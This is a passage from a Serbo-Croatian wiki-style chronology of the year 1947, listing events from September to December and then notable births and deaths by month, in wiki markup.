sekretar je [[James Forrestal]] (do 1949). Osnovani su i Savet nacionalne sigurnosti i Centralna obaveštajna agencija ([[CIA]]). [[Ratno zrakoplovstvo Sjedinjenih Američkih Država|Ratno zrakoplovstvo]] postaje poseban vid. Ozvaničeni Združeni načelnici generalštaba. * [[22. 9.]] - Siki napali voz sa muslimanskim izbeglicama u Amritsaru, navodno 3.000 mrtvih; dva dana kasnije napadnut voz sa Hindusima i Sikima u Kamokeu, ubijeno 340 ljudi. [[Datoteka:Pocztowka - Szklarska Poreba. 1930-1945 (72429700).jpg|mini|Razglednica [[Szklarska Poręba|Szklarske Porębe]]]] * [[22.9.|22]] - [[27. 9.]] - Osnivački sastanak [[Informbiro]]a u [[Szklarska Poręba|Šklarskoj Porembi]] kod [[Vroclav]]a, Poljska. Prisutno devet partija, doneta Deklaracija koja ističe da je u toku borba između imperijalističkog (SAD) i antiimperijalističkog (SSSR) tabora. Za sedište organizacije određen Beograd. * [[25. 9.]] - Na Međunarodnom sudu za ratne zločine japanski car [[Hirohito]] oslobođen je svake krivnje za rat. * 25. 9. - Pušten prvi [[balon Skyhook]] za istraživanje atmosfere (mogli su uticati na NLO fenomene sledeće godine). * [[30. 9.]] - U Beogradu osnovan Savez udruženja boraca Narodnooslobodilačkog rata ([[SUBNOR]]). === Oktobar/Listopad === * [[1. 10.]] - Useljene prve kuće u [[Levittown, New York]]: prvo masovno proizvedeno [[predgrađe]] i uzor za takva naselja u SAD. * 1. 10. - [[SAD]] priznale bugarsku vladu i uspostavile diplomatske odnose, samo 8 dana nakon pogubljenja Nikole Petkova. * 1. 10. - Prvi let mlaznjaka [[North American F-86 Sabre]] (u službi od 1949). * [[2. 10.]] - Osnovana [[Balet]]ska škola "Lujo Davičo" u Beogradu. * [[3. 10.]] - Zbog incidenta od 24. 8., u [[Pazin]]u osuđen sveštenik Stepan Ček na šest godina i msr. Jakob Ukmar na mesec dana (već odležao) zbog "provokacije". Ubice sveštenika osuđene na tri odn. pet meseci. * [[5. 10.]] - U Varšavi formalno osnovan [[Informbiro]], sa sedištem u Beogradu i zadatkom "razmene iskustava i, u slučaju potrebe, koordinacije delatnosti komunističkih partija na osnovu uzajamne saglasnosti". * 5. 10. - Prvo TV obraćanje iz Bele kuće: Truman poziva Amerikance na utorke bez mesa i četvrtke bez peradarskog mesa kako bi se obezbedilo više hrane za gladne Evropljane. * 5. 10. - [[Elia Kazan]] i još dvoje osnovali ''[[Actors Studio]]'' u Njujorku: podučava ''[[Method acting]]'', [[Lee Strasberg]] je šef 1951-82. * [[7. 10.]] - [[Dragoljub Jovanović]], lider Zemljoradničke stranke i bivši saveznik KPJ, osuđen na devet godina zatvora; istovremeno i HSS-ovac [[Franjo Gaži]] na pet godina (političke krivice). * 7. 10. - 8. 11. - [[Prvi indokineski rat]], francuska Operacija Léa: pokušali su da razbiju Việt Minh u području Việt Bắc na severu Vijetnama, zamalo su zarobljeni [[Hồ Chí Minh]] i [[Võ Nguyên Giáp]]. Praćena je operacijom Ceinture u novembru-decembru. [[Datoteka:King Tomislav Statue in Zagreb.JPG|mini|150px|Spomenik kralju Tomislavu u Zagrebu]] * [[11. 10.]] - Jugoslavija prekinula odnose sa [[Čile]]om, nakon što su odatle proterana dvojica jugoslovenskih zvaničnika kao "deo opšte-hemisferske komunističke mreže" (u Čileu su u toku štrajkovi rudara). [[Datoteka:Bell X-1 color.jpg|mini|200px|[[Bell X-1]]]] * [[14. 10.]] - [[Chuck Yeager]] prvi put ikad probio [[zvučni zid]], raketnim avionom [[Bell X-1]]. * listopad - U Zagrebu postavljen spomenik kralju [[Tomislav I|Tomislavu]]. * [[18. 10.]] - [[13. 11.]] - Sovjeti izvode 11 lansiranja rakete [[V-2]] u [[Kapustin Jar]]u (sovjetska kopija, [[R-1 (raketa)|R-1]], u službi je od 1950). * [[21. 10.]] - Rezolucija 109 Generalne skupštine Ujedinjenih nacija: pozivaju se Albanija, Bugarska i Jugoslavija da ne pomažu gerilu u Grčkoj, osniva se Specijalna komisija sa sedištem u Solunu (radi od decembra). * 21/22. 10. - Invazija paštunskih plemenaca u Džamu i Kašmir, kako bi ga priključili Pakistanu - počinje [[Indo-pakistanski rat 1947]], prvi od četiri rata između dve nacije (do 1999). Dolazi do masakara sa desetinama hiljada mrtvih na obe strane. * [[22. 10.]] - Iranski parlament, uz podršku SAD, glasao protiv naftne koncesije za SSSR, koju je premijer Ahmad Qavam prošle godine dogovorio za povlačenje sovjetskih trupa (zato ga zovu "Stara lisica"). * [[23. 10.]] - Prijateljski svedoci pred komitetom za neameričke aktivnosti: glumci [[Gary Cooper]], [[Robert Montgomery (glumac)|Robert Montgomery]] i [[Ronald Reagan]] (ovaj poslednji je predsednik Glumačkog ceha 1947-52). * [[24. 10.]] - United Airlines Flight 608: [[Douglas DC-6|DC-6]] je pao usled požara u Utahu, sa 52 žrtve - ostaci će prvi put biti rekonstruisani da bi se otkrio uzrok; takođe, sledećeg meseca se dogodio požar na još jednom DC-6 ali taj je sleteo. * [[26. 10.]] - Lokalni izbori u Francuskoj: najuspešnija je [[Degolizam|degolistička]] partija Okupljanje francuskog naroda, osnovana u aprilu, dobija 38% glasova a komunisti 30. * 26. 10. - Kašmirski maharadža Hari Singh potpisao pristupnicu Indiji, nakon čega ova šalje vojsku. * [[27. 10.]] - [[Crveni strah]]: Počinje saslušavanje osoba iz filmske industrije pred Parlamentarnim komitetom za neameričke aktivnosti povodom veza sa KP SAD - Holivudska desetorica odbijaju saradnju (vidi 25. 11.). * [[28. 10.]] - Osnovan Gradski zavod za zdravstvenu zaštitu u Beogradu. * [[30. 10.]] - U Ženevi potpisan Generalni sporazum o carinama i trgovini ([[GATT]]), na snazi 1948-94, prethodnik [[Svetska trgovinska organizacija|Svetske trgovinske organizacije]]. === Novembar/Studeni === * [[1. 11.]] - U Beogradu izdat prvi broj [[Kominform]]ovog časopisa "[[Za trajan mir, za narodnu demokratiju!]]", na deset jezika. * 1. 11. - Dopisnik New York Timesa proteran iz FNRJ, ostaju samo četvorica zapadnih reportera. * [[2. 11.]] - [[Howard Hughes]] prvi i jedini put poleteo svojim džinovskim avionom [[Hughes H-4 Hercules]] (''Spruce Goose'' - "Smrčeva guska"). * [[3. 11.]] - [[Prvi indijsko-pakistanski rat]], Bitka kod Badgama: jedna indijska četa od 50 ljudi je izginula ali je usporila nalet plemenskih laškara i stvorila vreme za dolazak pojačanja. * [[6. 11.]] - Rumunski nekomunistički ministar ino. poslova [[Gheorghe Tătărescu]] je dao ostavku - zamenjuje ga [[Ana Pauker]] (do 1952). * [[9. 11.]] - Indija preuzima administraciju u Junagadhu. * 9. 11. - Bivši [[tajland]]ski premijer maršal [[Plaek Phibunsongkhram]] izvodi rojalistički vojni udar - premijer je 1948-57. Kasnije tokom meseca usvojena ustavna povelja kojom je povećana vlast monarhije. * [[11. 11.]] - Bivši rumunski premijer [[Iuliu Maniu]] osuđen na doživotni zatvor. * ca. 11. 11. - Navodno je u franjevačkom samostanu u Puli nađena radio stanica za špijuniranje, jedan redovnik je mrtav, nekoliko fratara osuđeno u decembru (NYT, 12, 15. 11.; 21, 22. 12.). * [[10. 11.]] - Hapšenje četvorice radnika čeličane u Marseju dovodi do talasa pobunjeničkih komunističkih štrajkova koji se šire i na Pariz. * [[14. 11.]] - [[Jake LaMotta]] je očigledno predao meč Billyju Foxu, zbog čega ga njujorška komisija suspenduje. * 14. 11. - Prvi put se pojavio lik [[Baja Patak]]. * [[15. 11.]] - Parlament u Mađarskoj prinuđen da preda ovlašćenja vladi. * [[16. 11.]] - Puštena u saobraćaj [[pruga Šamac-Sarajevo]] (gradili je omladinci iz Jugoslavije i još 42 zemlje). * 16. 11. - Britanci počinju povlačenje vojske iz [[palestina|Palestine]]. * [[18. 11.]] - Požar u robnoj kući Ballantynes u [[Christchurch]]u je najgori u istoriji Novog Zelanda, stradala je 41 osoba. * [[20. 11.]] - Čelnik [[NR Albanija|albanske]] komisije za planiranje [[Nako Spiru]] pronađen mrtav, dan nakon sukoba sa [[Koçi Xoxe]]om oko Titovog pisma i odnosa sa Jugoslavijom<ref name="Hodos1987">{{cite book|author=George H. Hodos|title=Show Trials: Stalinist Purges in Eastern Europe, 1948-1954|url=https://books.google.com/books?id=kXj3SpPlyX0C&pg=PA8|year=1987|publisher=Greenwood Publishing Group|isbn=978-0-275-92783-7|pages=8–}}</ref>. [[Datoteka:Huwelijk Prinses Elisabeth, Bestanddeelnr 902-4694 (cropped).jpg|mini|200px|[[Elizabeta II|Elizabeta]] i [[Princ Philip, vojvoda od Edinburgha|Filip]]]] * 20. 11. - Venčanje princeze [[Elizabeta II|Elizabete]] i [[Princ Philip, vojvoda od Edinburgha|Philipa Mountbattena]] (vladarski par 1952-2021). * 21 - 23. 11. - Održani izbori u Republici Kini, sa malim opštim odzivom - veliku većinu mandata dobija [[Kuomintang]], mandati iz kontinentalne Kine će trajati dok ih sud ne ukine 1991. * [[24. 11.]] - [[Robert Schuman]] je novi francuski premijer posle [[Paul Ramadier|Paula Ramadiera]] (do 1948), prinuđen je pozvati rezerviste za smirivanje rudara. * [[25. 11.]] - [[Waldorfska izjava]] kojom se vodeći [[holivud]]ski studiji, okupljeni u [[Motion Picture Association of America|Filmsko udruženje Amerike]], obavezuju da više neće angažirati ljevičare iz [[Holivudska desetorica|Holivudske desetorice]]; taj datum predstavlja početak [[Holivudska crna lista|Holivudske crne liste]]. * 25. 11. - Parlament [[Novi Zeland|Novog Zelanda]] ratifikovao [[Westminsterski statut]], koji ovom [[dominion]]u daje suverenost. * 25. 11. - [[Prvi indijsko-pakistanski rat]]: pakistansko-plemenske snage zauzimaju Mirpur, nakon čega dolazi do masakra Hindusa i Sika. [[Datoteka:J&K04low.jpg|mini|200px|[[Prvi indijsko-pakistanski rat]], situacija krajem godine]] * [[27. 11.]] - U [[Evksinograd]]u kod Varne potpisan Ugovor o prijateljstvu, saradnji i uzajamnoj pomoći Jugoslavije i Bugarske (tekst sastavljen još 1. 8.). * 27. 11. - JAT-ov avion DC-3 (Li-2?) pao po mećavi na prilazu Titogradu, stradalo je 22 p. i č.p.. * 27. 11. - Policija u Parizu zauzela uredništva komunističkih listova. * [[28. 11.]] (29. 11.?) - Prva izvedba [[Stevan Hristić|Hristićevog]] baleta "[[Ohridska legenda]]" u Narodnom pozorištu u Beogradu. * 28. 11. - Potpisan jugoslovensko-italijanski trgovinski ugovor vredan 250 miliona dolara. * 28. 11. - Predsedniku Titu je dodeljen prvi [[Orden slobode]], drugo najviše odlikovanje FNRJ/SFRJ. * 28. 11. - U avionskoj nesreći u Francuskom Alžiru poginuo gen. [[Philippe Leclerc de Hauteclocque|Leclerc]]. * novembar - U [[Narodna Republika Albanija|Albaniji]] otvorena prva pruga standardnog koloseka, Drač - [[Peqin]]. {{Dvostruka slika|right|Zones juives 1dec47 + relief.svg|150|United Nations General Assembly Resolution 181 boundaries.jpg|150|Jevrejske zone 1947. i UN-ov plan podele Palestine}} * [[29. 11.]] - Rezolucija 181 (II) [[Generalna skupština Ujedinjenih naroda|Generalne skupštine UN]] predlaže podelu [[Mandatna Palestina|Mandatne Palestine]] na arapsku i jevrejsku državu i izdvojeni Jerusalim (Jugoslavija uzdržana). Jevreji, koji čine 33% stanovništva na 7% zemlje, dobili bi 56% mandata (od čega dosta otpada na Negev). * 29. 11. - Masakr u Mỹ Trạchu: francuski vojnici ubili preko 300 seljana u centralnom Vijetnamu. * [[30. 11.]] - Prvo finale Kupa Jugoslavije u fudbalu ([[Kup maršala Tita]]): Partizan - Naša krila (Zemun) 2:0. * 30. 11. - Počinje građanski rat u mandatnoj Palestini (koji sledećeg maja prelazi u [[Arapsko-izraelski rat 1948]]). === Decembar/Prosinac === * [[2. 12.]] - Kairski univerzitet Al-Azhar poziva muslimane na džihad protiv podele Palestine. Istog dana počinju neredi u Adenu protiv tamošnjih Jevreja. * [[3. 12.]] - Ekspresni voz Paris-Tourcoing izbačen iz šina kod Arrasa uz 21-og poginulog - komunistički štrajkači su mislili da voz prevozi vojsku; sutradan preduzete vanredne mere u zemlji. * 3. 12. - Predstava [[Tennessee Williams]]a "Tramvaj zvani želja", ''A Streetcar Named Desire'', prikazan je na Broadwayu, jedan je od najcenjenijih komada stoleća (glume nepoznati [[Jessica Tandy]] i [[Marlon Brando]], [[A Streetcar Named Desire (film, 1951)|film]] je prikazan 1951). * [[4. 12.]] - Bugarska ima novi ustav, [[Georgi Dimitrov|Dimitrovljev]]. * 4. 12. - Završeno [[Sudijsko suđenje]] u Nirnbergu: deset osuđenih. * [[8. 12.]] - Ugovor o prijateljstvu Mađarske i Jugoslavije. * [[9. 12.]] - Francuski sindikat CGT opozvao generalni štrajk i nastavili pregovore sa vladom. Kasnije tokom meseca se izdvaja grupa CGT-Radnička sila, koja se protivi komunističkom uticaju (izgleda uz američku pomoć). * 9. 12. - Masakr u Rawagedeu na zapadnoj Javi: holandska vojska ubila preko 400 seljana. * [[decembar]] - Državni ugovor [[Albanija|Albanije]] i [[Bugarska|Bugarske]] - znaci nezavisnosti Albanije ([[Enver Hodža|Envera Hodže]]) od Jugoslavije. * 16 - 29. 12. - Monetarna reforma u SSSR: konfiskatorna redenominacija, papirni novac se razmenjuje u odnosu 10:1. Ukidaju se kartice za snabdevanje i uvode jedinstvene cene. * [[17. 12.]] - Prvi let prototipa američkog mlaznog strateškog bombardera [[Boeing B-47]] Stratojet (u službi 1951-65, u izviđanju do '69, za testove do '77). * [[19. 12.]] - Tito u Bukureštu, potpisan ugovor između Rumunije i Jugoslavije. * [[22. 12.]] - Italijanska konstituanta je izglasala novi ustav. [[Datoteka:Bardeen Shockley Brattain 1948.JPG|mini|200px|[[John Bardeen|Bardeen]], [[William Bradford Shockley|Shockley]], [[Walter Houser Brattain|Brattain]] (1948)]] * [[23. 12.]] - [[John Bardeen|Bardeen]], [[Walter Houser Brattain|Brattain]] i [[William Bradford Shockley|Shockley]] predstavili prvi praktičan elektronski [[tranzistor]], tipa ''point-contact'' (→ [[bipolarni tranzistor]], Schockley dogodine predstavlja ''bipolar junction transistor'', koji će od početka '50-tih biti u komercijalnoj upotrebi). * [[24. 12.]] - Probni let [[MiG-15]]. * 24. 12. - Uredbom o zabrani privatnih akcionarskih društava ugašeno preduzeće "Aeroput". * 24. 12. - [[Grčki građanski rat]]: komunisti formirali Privremenu demokratsku vladu, na čelu sa [[Markos Vafijadis|Markosom Vafijadisom]]. Njihova Demokratska armija Grčke pokreće napad na [[Konica (Grčka)|Konicu]], koja bi poslužila kao glavni grad, ali bez uspeha. * [[29. 12.]] - Svečana sjednica povodom 80-godišnjice [[Jugoslavenska akademija znanosti i umjetnosti|Jugoslavenske akademije znanosti i umjetnosti]], maršal Tito izabran za počasnog člana. [[Datoteka:Coat of arms of Romania (1948–1952).svg|mini|100px|Amblem NR Rumunije 1948-52]] * [[30. 12.]] - [[Kraljevina Rumunija|Rumunski]] kralj [[Mihai I]] abdicira pod pritiskom komunističke vlade, parlament istog dana proglašava republiku (naziv Rumunska Narodna Republika do 1965, [[Socijalistička Republika Rumunija]] do 1989). * 30. 12. - Masakr u rafineriji nafte u Haifi: Irgun ubio bombama šest arapskih nadničara, Arapi nasrnuli na jevrejske kolege i ubili ih 39. Hagana sutradan ulazi u selo Balad al-Sheikh i ubija nekoliko desetina Arapa. === Kroz godinu === * U Beogradu: rekonstrukcija [[Terazije|Terazija]], gradnja Filmskog grada, ILR u [[Železnik]]u, Pionirska pruga u [[Košutnjak]]u (takođe i u zagrebačkom [[Maksimir]]u). Osnovana Centralna livnica u Beogradu, kasnije deo [[Industrija mašina i traktora|Industrije mašina i traktora]] (IMT). * Gradi se [[Stadion Asim Ferhatović Hase|stadion na Koševu]]. * [[Koprivnica|Koprivnička]] radionica braće Wolf je nacionalizirana i postaje [[Podravka]]. * Osnivački kongres Saveza likovnih umetnika Jugoslavije u Zagrebu. * U Beogradu su sedišta [[Informbiro]]a i Panslovenskog pokreta. * Sjedinjene Države ne dozvoljavaju putovanje svojih građana u Jugoslaviju, zbog teškoća svojih diplomatskih službenika da zaštite američke građane u toj zemlji (jedina zemlja pod takvom zabranom 1947.). [[Datoteka:AK-47 assault rifle.jpg|mini|[[AK-47]]]] * Dizajniran "Kalašnjikov" [[AK-47]]. * [[Svetozar Gligorić]] osvojio panslovenski [[šah]]ovski turnir u Varšavi. * Objavljeno otkriće [[prometijum]]a, pre dve godine, čime je popunjena poslednja praznina u [[Periodni sistem elemenata|Periodnom sistemu elemenata]]. == 1947. u temama == * Rukovodstvo [[FNRJ]]: ** Predsednik Prezidijuma Narodne Skupštine: [[Ivan Ribar]] ** Predsednik Vlade: [[Josip Broz Tito]] (takođe i Generalni sekretar [[KPJ]]) ** Predsednik Narodne skupštine: [[Vladimir Simić]] * [[Popis jugoslavenskih filmova|Domaći filmovi]]: "[[Slavica (film)|Slavica]]", "[[Živjeće ovaj narod]]" (→ [[:Kategorija:Filmovi 1947.]]). * [[Spisak država po datumu državnosti|Nove države]] ([[Slobodni Teritorij Trsta]] je [[1954]] faktički podeljen između [[Italija|Italije]] i [[Jugoslavija|Jugoslavije]]): {| | [[Datoteka:Free Territory Trieste Flag.svg|thumb|110px|[[Slobodni Teritorij Trsta|S.T. Trsta]]]] | [[Datoteka:Flag of Pakistan.svg|thumb|120px|[[Pakistan]]]] | [[Datoteka:Flag of India.svg|thumb|120px|[[Indija]]]] |} == Rođenja == {{glavni članak|:Kategorija:Rođeni 1947.}} === Januar/Siječanj === * [[1. 1.]] - [[Vladimir Titov]], kosmonaut * [[4. 1.]] - [[Miloš Vasić (novinar)|Miloš Vasić]], novinar († [[2021]]) * [[6. 1.]] - [[Nebojša Đukelić]], filmski kritičar i reditelj, novinar († [[1996]]) * [[8. 1.]] - [[David Bowie]], britanski rock muzičar i glumac († [[2016]]) * [[10. 1.]] - [[Slobodanka Šobota]], akademski slikar († [[2004]]) * [[18. 1.]] - [[Takeshi Kitano]], režiser, glumac * 18. 1. - [[Tomislav Marijan Bilosnić]], hrvatski književnik * [[24. 1.]] - [[Michio Kaku]], fizičar * [[25. 1.]] - [[Milan Marinković]] Cile, srpski slikar === Februar/Veljača === * [[2. 2.]] - [[Farrah Fawcett]], američka glumica († [[2009]].) * [[3. 2.]] - [[Paul Auster]], američki književnik i režiser († [[2024]]) * [[4. 2.]] - [[Dan Quayle]], potpredsednik SAD * [[8. 2.]] - [[Ljubiša Ristić]], pozorišni reditelj i kritičar * [[9. 2.]] - [[Carla del Ponte]], glavna tužiteljica Haaškog suda * [[10. 2.]] - [[Louise Arbour]], glavna tužiteljica Haaškog suda * [[11. 2.]] - [[Irinej Bulović]], episkop bački * [[13. 2.]] - [[Bogdan Tanjević]], košarkaš i trener * [[19. 2.]] - [[Jackie Curtis]], američka glumica i spisateljica * 19. 2. - [[Lev Rubinštejn]], ruski pesnik († [[2024]]) * [[27. 2.]] - [[Ejub Štitkovac]], novinar, književnik, publicista († [[2006]]) * [[28. 2.]] - [[Miroljub Labus]], srpski ekonomista, profesor i političar === Mart/Ožujak === * [[1. 3.]] - [[Ivo Banac]], hrvatski političar i povjesničar († [[2020]]) * [[6. 3.]] - [[Dick Fosbury]], skakač uvis († [[2023]]) * 6. 3. - [[Rob Reiner]], filmski režiser († [[2025]]) * [[7. 3.]] - [[Želimir Puljić]], hrvatski biskup * [[11. 3.]] - [[Eugen Indjic]], franko-američki pijanista * [[14. 3.]] - [[Dževdet Sarač]], bosanskohercegovački književnik * [[19. 3.]] - [[Glenn Close]], glumica * [[20. 3.]] - [[John Boswell]], američki istoričar * [[25. 3.]] - [[Elton John]], britanski muzičar === April/Travanj === * [[5. 4.]] - [[Gloria Macapagal-Arroyo]], predsednica Filipina * [[6. 4.]] - [[John Ratzenberger]], glumac * [[8. 4.]] - [[Tom DeLay]], američki političar * [[11. 4.]] - [[Vuk Obradović]], najmlađi general JNA, srpski političar († [[2008]]) * [[12. 4.]] - [[Tom Clancy]], pisac špijunskih i vojnih romana († [[2013]]) * 12. 4. - [[David Letterman]], TV voditelj * [[16. 4.]] - [[Kareem Abdul-Jabbar]], košarkaš * [[18. 4.]] - [[Kathy Acker]], američka spisateljica * 18. 4. - [[James Woods]], glumac * [[21. 4.]] - [[Iggy Pop]], rok-muzičar * [[22. 4.]] - [[Goran Paskaljević]], filmski reditelj († [[2020]]) * [[25. 4.]] - [[Zoran Bogavac]], novinar i publicista († [[2006]]) * 25. 4. - [[Johan Cruijff]], fudbaler, trener († [[2016]]) * [[27. 4.]] - [[Irfan Horozović]], bosankohercegovački dramatičar === Maj/Svibanj === * [[1. 5.]] - [[Enes Kišević]], bosanskohercegovački književnik i glumac * [[5. 5.]] - [[Vojkan Borisavljević]], kompozitor, aranžer, dirigent, producent († [[2021]]) * [[12. 5.]] - [[Michael Ignatieff]], kanadski istoričar, političar * [[13. 5.]] - [[Bujar Bukoshi]], kosovski političar († [[2025]]) * [[19. 5.]] - [[Džemaludin Alić]], bosanski književnik * [[27. 5.]] - [[Branko Oblak]], fudbaler === Jun/Juni/Lipanj === * [[1. 6.]] - [[Jonathan Pryce]], glumac * 1. 6. - [[Ronnie Wood]], član ''Rolling Stones''-a * [[4. 6.]] - [[Viktor Klima]], austrijski političar * [[5. 6.]] - [[Borka Pavićević]], dramaturg, direktor Centra za kulturnu dekontaminaciju († [[2019]]) * 5. 6. - [[Laurie Anderson]], umetnica, kompozitorka, muzičarka * [[6. 6.]] - [[David Blunkett]], britanski političar * [[9. 6.]] - [[Gordana Jevtović-Minov]], operska pevačica-sopran († [[2007]]) * [[14. 6.]] - [[Ljubiša Pavković]], harmonikaš * [[17. 6.]] - [[Blaž Kraljević]], komandant HOS-a u BiH, general Armije RBiH († [[1992]]) * [[19. 6.]] - [[Jagoda Kaloper]], glumica († [[2016]]) * [[18. 6.]] - [[Vesna Pećanac]], glumica * [[21. 6.]] - [[Širin Ebadi]], iranska aktivistkinja, nobelovka za mir * [[22. 6.]] - [[Pete Maravich]], košarkaš * 22. 6. - [[Jerry Rawlings]], predsednik Gane († [[2020]]) * [[29. 6.]] - [[Richard Lewis]], glumac, komičar († [[2024]]) === Jul/Juli/Srpanj === * [[2. 7.]] - [[Larry David]], glumac, scenarista, producent * 2. 7. - [[Marko Janković]], radio voditelj († [[2023]]) * [[8. 7.]] - [[Mehmed Alagić]], general Armije RBiH († [[2003]]) * [[9. 7.]] - [[O. J. Simpson]], igrač amer. fudbala, glumac, osuđenik († [[2024]]) * [[17. 7.]] - [[Camilla, kraljica supruga Ujedinjenog Kraljevstva]], supruga Charlesa III * [[19. 7.]] - [[Brian May]], gitarista ''Queen''-a * [[20. 7.]] - [[Carlos Santana]], meksički rock glazbenik * 20. 7. - [[Mile Mrkšić]], general, haški osuđenik († [[2015]]) * [[23. 7.]] - [[Milan Ivkošić]], novinar († [[2025]]) * [[24. 7.]] - [[Predrag Ejdus]], glumac († [[2018]]) * [[27. 7.]] - [[Boris Bradić]], hrvatski rukometaš * [[30. 7.]] - [[Arnold Schwarzenegger]], austrijsko-američki glumac i političar === Avgust/August/Kolovoz === * [[6. 8.]] - [[Mohammad Najibullah]], predsednik Afganistana († [[1996]]) * [[10. 8.]] - [[Anwar Ibrahim]], malezijski političar * 10. 8. - [[Ivan Zvonimir Čičak]], hrvatski političar († [[2024]]) * [[14. 8.]] - [[Enes Duraković]], bosanskohercegovački književni historičar i esejist * 14. 8. - [[Danielle Steel]], spisateljica * [[23. 8.]] - [[Goran Sultanović]], glumac * [[24. 8.]] - [[Paulo Coelho]], brazilski književnik * [[29. 8.]] - [[Mihalj Kertes]], srpski političar († [[2022]]) === Septembar/Rujan === * [[6. 9.]] - [[Jane Curtin]], glumica * [[14. 9.]] - [[Sam Neill]], glumac * [[15. 9.]] - [[Jovo Toševski]], prof. Medicinskog fakulteta u Kg. * [[19. 9.]] - [[Mate Granić]], hrvatski političar * [[21. 9.]] - [[Stephen King]], književnik * [[26. 9.]] - [[Lynn Anderson]], country-pjevačica († [[2015]]) * [[27. 9.]] - [[Dick Advocaat]], fudbaler, trener * 27. 9. - [[Meat Loaf]], rok-muzičar, glumac († [[2022]]) * [[28. 9.]] - [[Sheikh Hasina]], premijerka Bangladeša * [[30. 9.]] - [[Marc Bolan]], frontman ''T-Rex''-a († [[1977]]) === Oktobar/Listopad === * [[5. 10.]] - [[Brian Johnson]], pevač ''AC/DC'' * [[9. 10.]] - [[Jovan Zivlak]], književnik i izdavač * 9. 10. - [[France Gall]], pevačica († [[2018]]) * [[10. 10.]] - [[Radovan Beli Marković]], književnik († [[2022]]) * [[14. 10.]] - [[Josip Peruzović]], hrvač († [[2018]]) * [[16. 10.]] - [[Bob Weir]], član ''The Grateful Dead'' * [[21. 10.]] - [[Darinka Jevrić]], književnica († [[2007]]) * [[24. 10.]] - [[Kevin Kline]], glumac * [[26. 10.]] - [[Hillary Clinton]], američka političarka * [[29. 10.]] - [[Richard Dreyfuss]], glumac * [[31. 10.]] - [[Herman van Rompuy]], belgijski političar i prvi predsjednik [[Evropska Unija|Evropske Unije]] === Novembar/Studeni === * [[8. 11.]] - [[Nakib Abdagić]], bosanskohercegovački književnik i glumac († [[2008]]) * 8. 11. - [[Minnie Riperton]], pjevačica († [[1979]]) * [[13. 11.]] - [[Joe Mantegna]], glumac * [[23. 11.]] - [[Alphons Orie]], sudija ICTY * [[30. 11.]] - [[David Mamet]], dramatičar === Decembar/Prosinac === * [[6. 12.]] - [[Joška Broz]], srpski političar († [[2025]]) * [[7. 12.]] - [[Oliver Dragojević]], hrvatski pjevač († [[2018]]) * [[9. 12.]] - [[Tom Daschle]], američki političar * [[10. 12.]] - [[Dragomir Brajković]], književnik, novinar i urednik Radio Beograda († [[2009]]) * [[14. 12.]] - [[Svetlana Bojković]], srpska glumica * 14. 12. - [[Dilma Rouseff]], predsednica Brazila * [[15. 12.]] - Mihajlo [[Miša Blam]], džez-muzičar i kompozitor († [[2014]]) * [[16. 12.]] - [[Ben Cross]], glumac * [[21. 12.]] - [[Paco de Lucía]], flamenko gitarista († [[2014]]) * [[22. 12.]] - [[Meddžida Kreso]], bosanskohercegovačka političarka * [[29. 12.]] - [[Ted Danson]], glumac === Kroz godinu === * [[Stjepan Tomaš (književnik)|Stjepan Tomaš]], hrvatski književnik == Smrti == {{glavni članak|:Kategorija:Umrli 1947.}} === Januar/Siječanj &ndash; Mart/Ožujak === * [[12. 1.]] - [[Zdenko Blažeković]], lider Ustaške mladeži (* [[1915]]) * {{circa}} [[15. 1.]] - Elisabet Short, ''[[Black Dahlia]]'' (* [[1924]]) * [[24. 1.]] - [[August Meyszner]], nemački general, ratni zločinac (* [[1886]]) * [[30. 1.]] - [[Dubravko Dujšin]], hrvatski glumac (* [[1894]].) * [[25. 1.]] - [[Al Capone]], kriminalac (* [[1899]]) * [[3. 2.]] - [[Petar Živković]], general i političar (* [[1879]]) * [[5. 2.]] - [[Hans Fallada]], njemački književnik (* [[1873]].) * [[10. 2.]] - [[Vasa Stajić]], filozof i pisac, predsednik Matice srpske (* [[1878]]) * [[19. 2.]] - [[Adalbert Lontschar]], nemački general, ratni zločinac (* [[1885]]) * [[20. 2.]] - [[Viktor Gutić]], ustaški funkcioner (* [[1901]]) * [[26. 2.]] - [[Alexander Löhr]], nemački general, ratni zločinac (* [[1885]]) * [[13. 3.]] - [[Rako Mugoša]], narodni heroj (* [[1920]]) * 13. 3. - [[Krsto Popović]], crnogorski odmetnik (* [[1881]]) * mart - [[Braća Collyer]], njujorški pustinjaci === April/Travanj &ndash; Jun/Lipanj === * [[1. 4.]] - [[Đorđe II Grčki]] (* [[1890]]) * [[7. 4.]] - [[Henry Ford]], osnivač proizvođača automobila [[Ford Motor Company]] (* [[1863]].) * [[14. 4.]] - [[Petar Bajalović]], arhitekta (* [[1876]]) * [[16. 4.]] - [[Rudolf Höss]], komandant Aušvica (* [[1901]]) * [[18. 4.]] - [[Jozef Tiso]], šef bivše slovačke države pod nemačkim okriljem (* [[1887]]) * [[20. 4.]] - [[Christian X (Danska)|Christian X]], kralj Danske (* [[1870]]) * [[24. 4.]] - [[Willa Cather]], američka spisateljica (* [[1873]]) * [[17. 5.]] - [[Seabiscuit]], trkački konj (* [[1933]]) * [[29. 5.]] - [[Franz Böhme]], nemački general, ratni zločinac (* [[1885]]) * [[30. 5.]] - [[Georg von Trapp]], pomorski oficir, glava "raspevane" porodice (* [[1880]]) * [[7. 6.]] - [[Mehmed Alajbegović]], političar u NDH (* [[1906]]) * 7. 6. - [[Osman Kulenović]], političar u NDH (* [[1889]]) * [[13. 6.]] - [[Slavko Kvaternik]], maršal NDH (* [[1878]]) * [[20. 6.]] - [[Bugsy Siegel]], gangster (* [[1906]]) === Jul/Srpanj &ndash; Septembar/Rujan === * jul - [[Cvijetin Todić]], četnički komandant (* 1910) * [[17. 7.]] (pretpostavka) - [[Raoul Wallenberg]], švedski diplomata i humanitarac (* [[1912]]) * [[19. 7.]] - [[Aung San]], osnivač moderne Burme (* [[1915]]) * [[21. 7.]] - [[Žanka Stokić]], glumica (* [[1887]]) * [[5. 8.]] - [[Bogdan Gavrilović]], srpski matematičar, raniji predsednik akademije (* [[1864]]) * [[8. 8.]] - [[Anton Denjikin]], ruski carski general (* [[1872]]) * [[12. 8.]] - [[Albert Bazala]], hrvatski filozof i političar (* [[1877]]) * [[22. 8.]] - [[Jezdimir Dangić]], četnički komandant (* [[1897]]) * [[24. 8.]] - [[Miroslav Bulešić]], hrvatski svećenik i mučenik (* [[1920]].) * [[29. 8.]] - [[Manolete]], toreador (* [[1917]]) * [[9. 9.]] - [[Ananda Coomaraswamy]], filozof (* [[1877]]) * [[20. 9.]] - [[Fiorello La Guardia]], bivši gradonačelnik Njujorka (* [[1882]]) === 